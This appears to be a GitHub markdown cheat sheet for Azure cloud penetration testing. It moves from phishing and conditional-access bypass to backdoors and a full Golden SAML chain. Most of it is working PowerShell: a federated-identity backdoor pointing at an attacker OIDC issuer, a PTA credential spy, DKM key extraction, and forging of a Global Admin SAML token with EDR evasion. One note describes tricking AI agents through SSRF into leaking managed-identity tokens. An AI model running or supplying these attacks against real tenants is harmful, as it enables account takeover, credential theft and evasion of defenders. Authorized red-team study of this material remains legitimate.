Skip to content

Latest commit

 

History

History
461 lines (368 loc) · 17.6 KB

File metadata and controls

461 lines (368 loc) · 17.6 KB

Cloud Penetration Testing

Azure Pentesting

Foothold Azure Cloud

  • Password Spraying & Password Reuse

  • Lateral On-Prem to Cloud Movement

    • Compromised target victim enumeration, present use with authentication popup window:
    meterpreter>
    use post/windows/gather/phish_windows_credentials
    set SESSION 3  
    
    • credential dumping - bypass using when credential guard not enabled on victim
    Invoke-ShareFinder
    
    • Password hunting
    findstr /s /i /m "pass" \\shareserver\path\*.conf
    findstr /s /i /m "pass" \\FileServer1\scripts\*.ps1
    
  • Phishing Device Code API

    • User is send email containing device user code, and user need to enter the code and then sign in with Azure ID after typing the code.
    • Short life time of code make this difficult timed phishing attack
    • Use stolen token to do AZURE enumeration import AADInternals
    Import-Module AADInternals
    # Assign your token to a variable
    $aadToken = "Your access token string here"
    # Read the token into AADInternals
    Read-AADIntAccessToken -AccessToken $aadToken
    
    get-aadintuser -accesstoken <stolen-phishing-token> | select displayname
    Get-AADIntGlobalAdmins
    Get-AADIntUserMFA
    
    Send-AADIntOutlookMessage -AccessToken $At -Recipient "victim@company.com" -Subject "An email" -Message "<h2>This is a internal phishing message!</h2>"
    • Phishing with device code abuses trusted and legitimate cloud infrastructure.

Internal Reconnaissance

  • Discovery as Cloud Guest

    # Get access token and save to cache
    Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
    
    # Invoke tenant recon as guest, cmdlet can automate enumeration!
    $results = Invoke-AADIntReconAsGuest
    
    # Invoke user enumeration as a guest
    $results = Invoke-AADIntUserEnumerationAsGuest -UserName "user@company.com"
  • Invited guest to teams channel for target victim company give us read access as guest using in victim Microsoft Azure Tenant.

  • Compromised Internal User Foothold setup

    # Install required modules
    Install-Module -Name Az -Force
    Install-Module -Name AzureAD -Force
    Install-Module -Name MSOnline -Force
    Install-Module -Name AADInternals -Force
    
    # Connect with compromised/test credentials
    Connect-AzAccount
    Connect-AzureAD
    Connect-MsolService
    
    # Get tenant info
    Get-AzTenant
    (Get-AzContext).Tenant
  • Enumerate as Insider threat actor using ROADtools

    roadrecon
    roadrecon gui
    ipmo C:\path\to\PowerZure.psd1
    Get-AzureCurrentUser  
    • Bloodhound - AzureHound

    • Read access to the Azure AD portal is allowed to internal users and not to guests by default!

  • Conditional Access Policies

    • AAD Internals command-let:
    # Get the access token
    Get-AADIntAccessTokenForAADGraph -SaveToCache
    • List the conditional access policies
    Get-AADIntConditionalAccessPolicies
    • bypass using different user agent instead of windows
    • browser user agent switcher plugin

  • Conditional Access policy can block access to a compromised user account even if we had the password credentials.

Azure PrivEsc

  • Dynamic Groups

    # Find abusable dynamic groups
    Get-AADIntDynamicAbusableGroups
    
    • Based on the condition for dynamic groups, create email address containing the required string to dynamic be added to groups.
  • Managed Identities

    • Token-Bound Hijacking and AI-Driven Lateral Movement.
    • SSRF trick modern AI-integrated agents into requesting tokens, an AI agent has "read" access to a resource, it fetch Managed Identity token and leak it
    • attacker gains Contributor access to an Automation Account, they create a malicious Runbook, that execute using the Managed Identity permissions at the Subscription level, the attacker essentially now Global Admin-level access.
    • after abuse Managed Identities persistence
    net user hacker P@ssw0rd124 /add
    net localgroup administrators hacker /add
    • Managed Identities do NOT have access to all subscriptions in the tenant by default.
    • To access resources as a system defined managed identity, we have to be running in the context of the VM where the managed identity was created.
  • Application Owner

    • App owner permissions enumeration
    Get-MgApplication -All
    Get-MgApplication | Select DisplayName, Owners
    (Get-MgApplication -ApplicationId <ID>).RequiredResourceAccess.ResourceAccess
    
    # getting a token without a module
    $apiUrl = 'https://graph.microsoft.com/v1.0/Groups/'
    $Data = Invoke-RestMethod -Headers @{Authorization = "Bearer $accessToken"} -Uri $apiUrl -Method Get
    $Groups = ($Data | select-object Value).Value
    $Groups | FT Displayname, Description 
    
    • Escalation via Application Owner is possible because, the registered application has the necessary rights to elevate us.
    • The person "owning" the App Owner, can use the key secret to the App's permissions to take over the entire subscription in Azure.

Azure Cloud Persistence

  • backdoor Federated Identity "Shadow" attacker configures the app to trust an external OIDC Open ID Connect provider that they control (a "Bring Your Own Identity Provider" or BYOIDP attack).
    • Config malicious federation
        $params = @{
          Name = "Maintenance-Backdoor"
          Issuer = "https://evil-attacker-oidc.com/storage"  # Attacker's rogue provider
          Subject = "repo:attacker/backdoor:ref:refs/heads/main" # The "identity" allowed to log in
          Audiences = @("api://AzureADTokenExchange") # Standard audience for token exchange
          Description = "Legitimate looking maintenance credential"
      }
    
      # Apply the backdoor
      New-MgApplicationFederatedIdentityCredential -ApplicationId <App-Object-Id> -BodyParameter $params
    • verify persistence check
    Get-MgApplicationFederatedIdentityCredential -ApplicationId <App-Object-Id>
    
    • To create the backdoor, we need the Immutable ID attribute value

On-Premise Risks to Azure

  • Hybrid Access & Conditional Access from Trusted locations

    {'MIcrosoft Azure CAP':'Office location excluded from MFA required for conditional access policy setting.'}
  • Abuse Seamless SSO

  • SSO depends on Existing Kerberos tickets

  • ADFS Dump

  • Golden SAML allows us to login to Azure as any user of our choice!

  • Azure Attack Scenarios — Trusted Location Bypass

  • IP Spoofing / Source Manipulation Context

    # After identifying trusted CIDRs, document ranges for source IP manipulation
    # (e.g., via VPN exit nodes, compromised on-prem hosts, or SSRF within trusted range)
    
    # Identify on-prem to cloud sync accounts (often excluded from CA)
    Get-MsolUser -All | Where-Object {
        $_.StrongAuthenticationRequirements.Count -eq 0 -and
        $_.UserType -eq "Member"
    } | Select-Object UserPrincipalName, IsLicensed, LastPasswordChangeTimestamp |
    Sort-Object LastPasswordChangeTimestamp
  • AADInternals — Token Abuse from Trusted Context

    # If operating from within trusted IP range (e.g., pivoted to on-prem):
    Import-Module AADInternals
    
    # Get access token bypassing MFA (if originating from trusted IP)
    $token = Get-AADIntAccessTokenForAADGraph -Credentials (Get-Credential)
    
    # Request token for various resources
    Get-AADIntAccessTokenForMSGraph    # Microsoft Graph
    Get-AADIntAccessTokenForAzureCoreManagement  # Azure ARM
    Get-AADIntAccessTokenForSharePoint -Tenant "yourtenant.onmicrosoft.com"
    
    # Dump tenant information
    Get-AADIntTenantDetails
  • Pass-Through Authentication (PTA) Abuse

    # Enumerate PTA agents (hybrid auth path - bypasses cloud MFA in some configs)
    Import-Module AADInternals
    
    # Check if PTA is enabled (identified during recon)
    Get-AADIntLoginInformation -Domain "target.com"
    
    # If PTA agent is compromised on-prem, install backdoor agent
    # (Authorized red team only - requires local admin on PTA agent server)
    Install-AADIntPTASpy
    Get-AADIntPTASpyLog  # Captures credentials as users authenticate
  • Seamless SSO Silver Ticket Attack

    # Azure AD Seamless SSO uses AZUREADSSOACC$ computer account - Kerberos ticket abuse
    # Enumerate the account
    Import-Module AADInternals
    
    # Extract AZUREADSSOACC NTLM hash (from on-prem DC - requires DCSync rights)
    # Then forge Kerberos tickets to authenticate as any user without MFA
    # from "trusted" on-prem perspective
    
    # Check if Seamless SSO is configured
    Get-AADIntLoginInformation -Domain "target.com" | Select-Object DesktopSSOEnabled
  • Post-Auth Enumeration After Bypass

    # Once authenticated without MFA (from trusted location):
    
    # Enumerate privileged roles
    Get-AzureADDirectoryRole | ForEach-Object {
        $role = $_
        $members = Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
        if ($members) {
            Write-Host "`n[ROLE] $($role.DisplayName)" -ForegroundColor Green
            $members | Select-Object UserPrincipalName, DisplayName, UserType
        }
    }
    
    # Enumerate Azure subscriptions and RBAC
    Get-AzSubscription
    Get-AzRoleAssignment | Where-Object {
        $_.RoleDefinitionName -in @("Owner","Contributor","User Access Administrator")
    } | Select-Object SignInName, RoleDefinitionName, Scope
    
    # Check for legacy authentication still enabled (another CA bypass vector)
    Get-MsolUser -All | Where-Object {
        $_.StrongAuthenticationMethods.Count -eq 0
    } | Select-Object UserPrincipalName, LastPasswordChangeTimestamp
  • Golden SAML & Primary Refresh Token Attack chain

    Standard Domain User
            │
            ▼
    Local Admin (workstation) ← Stage 1
            │
            ▼
    Kerberoast / AS-REP Roast ← Stage 2
            │
            ▼
    High-Value Service Account ← Stage 3
            │
            ▼
    DCSync Rights / DA ← Stage 4
            │
            ▼
    DKM Key Extraction ← Stage 5
            │
            ▼
    Golden SAML → Azure AD Token ← Stage 6
    
  • Most Realistic Golden SAML Attack in 2026 with EDR Evasion - DCSync to AD FS DKM Key Extraction

    # Avoid mimikatz lsadump::dcsync — heavily signatured
    # Instead use legitimate AD replication APIs via C# or PowerShell
    
    # Option A: DSInternals (less detected than mimikatz)
    Install-Module DSInternals -Scope CurrentUser
    
    # Replicate a single object — much less noisy than full DCSync
    Get-ADReplAccount -SamAccountName "AZUREADSSOACC$" -Server dc01.corp.local
    Get-ADReplAccount -SamAccountName "adfssvc" -Server dc01.corp.local
    
    # Option B: Impacket secretsdump via Linux C2 (avoids Windows EDR entirely)
    # secretsdump.py corp/domainadmin@dc01.corp.local -just-dc-user "AZUREADSSOACC$"
    
    #Locate DKM Container (Passive LDAP — No EDR Signal)
    
    # Pure LDAP query — indistinguishable from admin tooling
    $dkmPath = "CN=ADFS,CN=Microsoft,CN=Program Data,DC=corp,DC=local"
    
    $searcher = New-Object DirectoryServices.DirectorySearcher
    $searcher.SearchRoot = "LDAP://$dkmPath"
    $searcher.Filter = "(objectClass=contact)"
    $searcher.PropertiesToLoad.Add("thumbnailPhoto") | Out-Null
    $result = $searcher.FindOne()
    
    # DKM master key is stored in thumbnailPhoto attribute
    $dkmKey = $result.Properties["thumbnailPhoto"][0]
    Write-Host "[+] DKM Key retrieved: $([Convert]::ToBase64String($dkmKey))"
    
    # Pull AD FS config from WID/SQL remotely via named pipe (no logon to ADFS server)
    # Requires: DA or rights on ADFS SQL instance
    
    $connectionString = "Data Source=np:\\adfs01\pipe\microsoft##wid\tsql\query;Initial Catalog=AdfsConfigurationV4;Integrated Security=True"
    $conn = New-Object System.Data.SqlClient.SqlConnection($connectionString)
    $conn.Open()
    
    $cmd = $conn.CreateCommand()
    $cmd.CommandText = "SELECT ServiceSettingsData FROM IdentityServerPolicy.ServiceSettings"
    $xmlConfig = $cmd.ExecuteScalar()
    $conn.Close()
    
    # Parse the XML config in memory — cert is stored as encrypted blob
    [xml]$config = $xmlConfig
    $encryptedPfx = $config.ServiceSettingsData.SecurityTokenService.SigningToken
    Write-Host "[+] Encrypted cert blob retrieved in memory"
    
    # Decrypt the PFX blob using the DKM key — no AADInternals module load needed
    # Avoids the signatured Export-AADIntADFSSigningCertificate call
    
    function Decrypt-ADFSCert {
        param([byte[]]$EncryptedBlob, [byte[]]$DkmKey)
        
        # ADFS uses AES-256 with the DKM key as the symmetric key
        $aes = [System.Security.Cryptography.Aes]::Create()
        $aes.Key = $DkmKey[0..31]          # First 32 bytes = AES key
        $aes.IV  = $EncryptedBlob[0..15]   # First 16 bytes of blob = IV
        
        $decryptor = $aes.CreateDecryptor()
        $plaintext = $decryptor.TransformFinalBlock($EncryptedBlob, 16, $EncryptedBlob.Length - 16)
        
        return [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($plaintext)
    }
    
    $signingCert = Decrypt-ADFSCert -EncryptedBlob $encryptedPfxBytes -DkmKey $dkmKey
    Write-Host "[+] Cert Subject: $($signingCert.Subject)"
    Write-Host "[+] Cert Thumbprint: $($signingCert.Thumbprint)"
    # Certificate now lives entirely in memory — never touches disk
    
    # AADInternals is signatured by most EDRs in 2026
    # Implement SAML signing manually using .NET crypto — no 3rd party module
    
    function New-GoldenSAML {
        param(
            [string]$TargetUPN,
            [string]$ImmutableID,
            [string]$Issuer,
            [System.Security.Cryptography.X509Certificates.X509Certificate2]$SigningCert
        )
    
        $assertionId  = "_" + [guid]::NewGuid().ToString()
        $issueInstant = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
        $notBefore    = (Get-Date).AddMinutes(-5).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
        $notAfter     = (Get-Date).AddHours(1).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
    
        # Build raw SAML assertion XML
        $samlAssertion = @"
    <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
        ID="$assertionId" Version="2.0" IssueInstant="$issueInstant">
      <saml:Issuer>$Issuer</saml:Issuer>
      <saml:Subject>
        <saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">$ImmutableID</saml:NameID>
      </saml:Subject>
      <saml:Conditions NotBefore="$notBefore" NotOnOrAfter="$notAfter">
        <saml:AudienceRestriction>
          <saml:Audience>urn:federation:MicrosoftOnline</saml:Audience>
        </saml:AudienceRestriction>
      </saml:Conditions>
      <saml:AttributeStatement>
        <saml:Attribute Name="IDPEmail">
          <saml:AttributeValue>$TargetUPN</saml:AttributeValue>
        </saml:Attribute>
      </saml:AttributeStatement>
    </saml:Assertion>
    "@
    
        # Sign using .NET XML DSig — no external tools
        $xmlDoc = New-Object System.Xml.XmlDocument
        $xmlDoc.LoadXml($samlAssertion)
    
        $signedXml = New-Object System.Security.Cryptography.Xml.SignedXml($xmlDoc)
        $signedXml.SigningKey = $SigningCert.PrivateKey
    
        $reference = New-Object System.Security.Cryptography.Xml.Reference
        $reference.Uri = "#$assertionId"
        $reference.AddTransform((New-Object System.Security.Cryptography.Xml.XmlDsigEnvelopedSignatureTransform))
        $signedXml.AddReference($reference)
        $signedXml.ComputeSignature()
    
        $xmlDoc.DocumentElement.AppendChild($signedXml.GetXml()) | Out-Null
        return [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($xmlDoc.OuterXml))
    }
    
    # Forge token for Global Admin
    $goldenToken = New-GoldenSAML `
        -TargetUPN "globaladmin@corp.com" `
        -ImmutableID "abc123immutableID==" `
        -Issuer "http://adfs.corp.local/adfs/services/trust" `
        -SigningCert $signingCert
        
    # Exchange forged SAML for Azure AD access token via standard OAuth endpoint
    # Pure web request — no tooling, no modules, no EDR hooks
    
    $body = @{
        grant_type = "urn:ietf:params:oauth:grant-type:saml2-bearer"
        assertion  = $goldenToken
        scope      = "https://graph.microsoft.com/.default"
        client_id  = "1b730954-1685-4b74-9bfd-dac224a7b894"  # Azure AD PowerShell app
    }
    
    $response = Invoke-RestMethod `
        -Uri "https://login.microsoftonline.com/corp.onmicrosoft.com/oauth2/v2.0/token" `
        -Method POST `
        -Body $body `
        -ContentType "application/x-www-form-urlencoded"
    
    $accessToken = $response.access_token
    Write-Host "[+] Access Token obtained for Global Admin — no MFA, no alerts"
    
    # Use token directly against Graph API
    $headers = @{ Authorization = "Bearer $accessToken" }
    Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users" -Headers $headers